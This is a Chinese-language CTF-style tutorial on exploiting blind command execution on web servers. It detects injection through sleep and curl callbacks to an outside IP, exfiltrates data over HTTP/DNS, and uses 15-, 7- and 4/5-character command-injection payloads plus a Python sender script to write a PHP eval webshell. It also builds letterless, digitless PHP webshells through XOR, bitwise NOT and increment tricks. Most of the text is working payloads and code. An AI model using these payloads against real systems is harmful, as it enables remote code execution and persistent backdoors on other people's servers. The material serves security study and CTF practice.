命令执行无回显情况
判断方法 | 使用 |
---|---|
延时 | sleep |
HTTP请求 | curl ip地址:端口 |
DNS请求 | curl url地址 |
利用:
写shell或反弹shell(直接写入/外部下载)
http/dns等方式带出数据
可控字符串长度限制getshell
15个字符
wget 地址/a
使用wget下载文件
mv a a.php
将a改名为a.php
需要超短域名才可以实现echo \<?php >1
长度为14
成功写入,接下来是增加语句,因为是一样的,我就在linux上演示了
echo eval\(>>1
长度为14
echo \$_GET>>1
长度为14
echo \[a\]>>1
长度为13
echo \)\;>>1
长度为12
最后改名为a.php即可 注意:\为转义字符
7个字符
ls>a会将所有文件名输入到a里面,并且将ls按数字1~9,字母a~b排序, 但我们可以让它基于时间排序ls -t(从晚到早)
并且如果命令太长可用\分割执行,接着sh a是将a里面的内容当做命令执行
由于我们的语句<?php eval($_GET[1]);
有特殊字符,可使用base64编码来使语句容易写入,再用|base64 -d解码即可。
base64为:
PD9waHAgZXZhbCgkX0dFVFsxXSk7
执行的语句为
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
payload.txt的代码如下
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
python脚本如下
import requests
url1 = "http://192.168.153.131/7.php?1="
with open("payload.txt","r") as f:
for i in f:
url = url1+i.strip()
requests.get(url)
res = requests.get("http://192.168.153.131/1.php")
if res.status_code:
print 'success!!!'
发现最后两句话未执行,发现ls -t>0
为7个字符。。。。。。改为<8看看
发现成功,可行
生成了1.php
之前还是有点问题,最小字符个数应为7而不是<7
这里参考借鉴了师傅的文章和代码7位可控字符下的任意命令执行
4或5个字符
原理和上面是一样的,唯一的不同是ls -t>0
,我们要拼接这一串即可,开始试验:
由于下图的顺序较为复杂,无法跟之前一样,所以引入了新知识
统配符 *:Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
*还可以增加字母来限定被用来当作命令和参数的文件名
通过rev来倒置输出内容:
所以我们要得到f> t- sl
这样的顺序,参考师傅写的代码
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0 里面的内容为:ls -th >f)
参考师傅文章5位可控字符下的任意命令执行-----另一种解题方法
无字母数字getshell
异或运算
中心思想:将非字母、数字的字符经过各种变换最后能构造出a~z中任意一个字符
用ASCII表来异或运算
<?php
highlight_file(__file__);
$a = '~!@#$%^&*()_+\|/?.,<>`-={}[]';
for($i = 0;$i<strlen($a);$i++){
for($j = 0;$j<strlen($a);$j++){
if (ord($a[$i]^$a[$j])>64 && ord($a[$i]^$a[$j])<91){
echo $a[$i]. ' xor ' .$a[$j]. ' is ';
echo chr(ord($a[$i]^$a[$j])). ' ';
echo ord($a[$i]^$a[$j]);
echo "\n<br>";
}elseif (ord($a[$i]^$a[$j])>96 && ord($a[$i]^$a[$j])<122){
echo $a[$i]. ' xor ' .$a[$j]. ' is ';
echo chr(ord($a[$i]^$a[$j])). ' ';
echo ' ' .ord($a[$i]^$a[$j]);
echo "\n<br>";
}
}
}
?>
生成的异或运算结果如下
剩下的我就不一一列举了,需要哪些字母异或生成即可
取反
使用的是位运算里的“取反”,利用UTF-8编码的某个汉字,并将其中某个字符取出来。
UTF-8中一个汉字占三个字节,取反发现:
146的二进制为10010010,十六进制为92,取反为01101101,十进制为109,ASCII码为m
140的二进制为10001100,十六进制为8c,取反为01110011,十进制为115,ASCII码为s
那么就可以用汉字来得到想要的字母了
自增
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
只有当我们得到一个字母的时候,才可以自增。。。
参考php:递增/递减运算符
进行实验测试
我就用异或来写,其实还有很多方法的。我们应该传参为getFlag(),所以开始找异或
< xor [ is g 103
> xor [ is e 101
] xor ) is t 116
= xor { is F 70
@ xor , is l 108
^ xor ? is a 97
< xor [ is g 103
'<>]=@^<'^'[[){,?['
然后我们要设置一个变量,在变量后跟上(),最终如下
?code=$_='<>]=@^<'^'[[){,?[';$_();
然后我测试了另一个异或出来的getFlag,却没有成功,不知道为什么这个是看人品的嘛。。。。。。
具体可以参考师傅的文章:
【PHP-CTF】无字母无数字webshell
无字母数字webshell之提高篇
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)